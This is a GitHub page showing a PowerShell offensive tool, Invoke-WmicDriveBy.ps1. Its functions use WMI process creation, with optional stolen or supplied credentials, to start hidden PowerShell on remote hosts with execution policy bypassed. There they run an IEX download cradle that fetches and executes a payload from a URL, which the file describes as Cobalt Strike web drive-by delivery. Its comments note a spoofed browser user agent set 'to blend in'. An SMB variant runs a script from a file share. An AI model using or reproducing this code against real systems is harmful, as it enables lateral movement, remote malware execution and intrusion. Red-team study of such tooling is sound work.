Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
RandomPS-Scripts/Invoke-WmicDriveBy.ps1
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
193 lines (152 sloc)
6.72 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Invoke-WorkerWmicDriveBy{ | |
param( | |
#Parameter assignment | |
[Parameter(Mandatory = $True, Position = 0)] | |
[string]$URL, | |
[Parameter(Mandatory = $False, Position = 1)] | |
[string]$User, | |
[Parameter(Mandatory = $False, Position = 2)] | |
[string]$Pass, | |
[Parameter(Mandatory = $False, Position = 3)] | |
[string[]]$TARGETS = "." | |
) | |
if($User -and $Pass){ | |
#Did the user specify credentials? | |
Write-Verbose "Set to run with Username: $User and Password: $Pass" | |
$password = ConvertTo-SecureString $Pass -asplaintext -force | |
$cred = New-Object -Typename System.Management.Automation.PSCredential -argumentlist $User,$password | |
#Set the proxy and user agent to blend in | |
$powershellcmd = "`$wc = New-Object System.Net.Webclient; `$wc.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) Like Gecko'); `$wc.proxy= [System.Net.WebRequest]::DefaultWebProxy; `$wc.proxy.credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; IEX (`$wc.downloadstring('$URL'))" | |
$cmd = "powershell.exe -exec bypass -w hidden -command $powershellcmd" | |
Write-Verbose "Executing `"$cmd`" on `"$Target`"" | |
Invoke-WmiMethod -class Win32_process -name Create -Argumentlist $cmd -Credential $cred -ComputerName $TARGETS | |
} | |
else{ | |
Write-Verbose "Username and/or password not specified. Running in current user context." | |
#Set the proxy and user agent to blend in | |
$powershellcmd = "`$wc = New-Object System.Net.Webclient; `$wc.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) Like Gecko'); `$wc.proxy= [System.Net.WebRequest]::DefaultWebProxy; `$wc.proxy.credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; IEX (`$wc.downloadstring('$URL'))" | |
$cmd = "powershell.exe -exec bypass -w hidden -command $powershellcmd" | |
Write-Verbose "Executing `"$cmd`" on `"$Target`"" | |
Invoke-WmiMethod -class Win32_process -name Create -Argumentlist $cmd -ComputerName $TARGETS | |
} | |
} | |
function Invoke-WmicDriveBySMB{ | |
param( | |
#parameter assignment | |
[Parameter(Mandatory = $True, Position = 0)] | |
[string]$FilePath, | |
[Parameter(Mandatory = $False, Position = 1)] | |
[string]$User, | |
[Parameter(Mandatory = $False, Position = 2)] | |
[string]$Pass, | |
[Parameter(Mandatory = $True, Position = 3)] | |
[string[]]$TARGETS | |
) | |
if($User -and $Pass){ | |
Write-Verbose "Set to run with $User:$Pass" | |
$password = ConvertTo-SecureString $Pass -asplaintext -force | |
$cred = New-Object -Typename System.Management.Automation.PSCredential -argumentlist $User,$password | |
$FilePath = $FilePath.replace(':','$') | |
$FilePath = $FilePath.replace('\','/') | |
$powershellcmd = "`$wc = New-Object Net.Webclient; IEX `$wc.DownloadString('file:$FilePath')" | |
$cmd = "powershell.exe -exec bypass -w hidden -command $powershellcmd" | |
Write-Verbose "Executing `"$cmd`" on `"$Target`"" | |
Invoke-WmiMethod -class Win32_process -name Create -Argumentlist $cmd -Credential $cred -ComputerName $TARGETS | |
} | |
else{ | |
Write-Verbose "Username and/or password not specified. Running in current user context." | |
$FilePath = $FilePath.replace(':','$') | |
$FilePath = $FilePath.replace('\','/') | |
$powershellcmd = "`$wc = New-Object Net.Webclient; IEX `$wc.DownloadString('file:$FilePath')" | |
$cmd = "powershell.exe -exec bypass -w hidden -command $powershellcmd" | |
Write-Verbose "Executing `"$cmd`" on `"$Target`"" | |
Invoke-WmiMethod -class Win32_process -name Create -Argumentlist $cmd -ComputerName $TARGETS | |
} | |
} | |
function Invoke-WmicDriveBy{ | |
<# | |
.SYNOPSIS | |
This script uses wmic to open a powershell process and use the IEX download cradle to execute a powershell web drive by payload. | |
.DESCRIPTION | |
This function calls wmic process call create to execute the powershell command for the IEX download cradle. The cradle is used to execute a payload delivered via | |
the powershell web drive by exploitation module in cobaltstrike. Wmic runs with the permissions of the current user by default. | |
.EXAMPLE | |
> Invoke-WmicDriveBy -URL http://127.0.0.1/update -User test\jonny -Pass "Kg^*dksLkD$" -TARGET 192.168.1.10 | |
Run the script with user credentials for a specific host | |
.EXAMPLE | |
> Invoke-WmicDriveBy -URL http://192.168.1.101/a | |
Run the script against the localhost with the current user credentials | |
.EXAMPLE | |
> Invoke-WmicDriveBy -UNCPath "\\192.168.1.110\C$\Windows\Temp\smb" -TARGETS 192.168.1.77 | |
Use a raw file containing powershell commands for web delivery in the current user context | |
.PARAMETER User | |
Specify a username Default is the current user context. | |
.PARAMETER Pass | |
Specify the password for the appropriate user | |
.PARAMETER URL | |
URL for the powershell web delivery. Required. | |
.PARAMETER UNCPath | |
The full UNC path to the raw file containing a powershell script. | |
.PARAMETER TARGETS | |
Host or array of hosts to target. Can be a hostname, IP address, or FQDN. Default is set to localhost. | |
#> | |
[CmdletBinding()] | |
param( | |
#Parameter assignment | |
[Parameter(ParameterSetName = "URL", Mandatory = $True, Position = 0)] | |
[string]$URL, | |
[Parameter(ParameterSetName = "File", Mandatory = $True, Position = 0)] | |
[string]$UNCPath, | |
[Parameter(Mandatory = $False, Position = 1)] | |
[string]$User, | |
[Parameter(Mandatory = $False, Position = 2)] | |
[string]$Pass, | |
[Parameter(ValueFromPipeline=$True,Mandatory = $False, Position = 3)] | |
[string[]]$TARGETS = "." | |
) | |
Begin | |
{ | |
#Check if the TARGETS parameter was passed through the pipeline. Set the usedParameter variable to true. | |
$usedParameter = $False | |
if($PSBoundParameters.ContainsKey('TARGETS')) | |
{ | |
$usedParameter = $True | |
} | |
} | |
Process | |
{ | |
#If targets is passed via the parameter, complete function for each host. | |
if($usedParameter) | |
{ | |
#If the URL parameter set is used, call the Invoke-WorkerWmicDriveBy function | |
if($PsCmdlet.ParameterSetName -eq "URL") | |
{ | |
Foreach($computer in $TARGETS) | |
{ | |
Invoke-WorkerWmicDriveBy "$URL" -User "$User" -Pass "$Pass" -TARGETS "$TARGETS" | |
} | |
} | |
#Otherwise use the Invoke-WmicDriveBySMB function | |
else | |
{ | |
Foreach($computer in $TARGETS) | |
{ | |
Invoke-WmicDriveBySMB "$FilePath" -User "$User" -Pass "$Pass" -TARGETS "$TARGETS" | |
} | |
} | |
} | |
#Pass the value from the pipeline to the target parameter if the usedParameter variable is false. | |
else | |
{ | |
if($PsCmdlet.ParameterSetName -eq "URL") | |
{ | |
Invoke-WorkerWmicDriveBy "$URL" -User "$User" -Pass "$Pass" -TARGETS $_ | |
} | |
else | |
{ | |
Invoke-WmicDriveBySMB "$FilePath" -User "$User" -Pass "$Pass" -TARGETS $_ | |
} | |
} | |
} | |
end{} | |
} |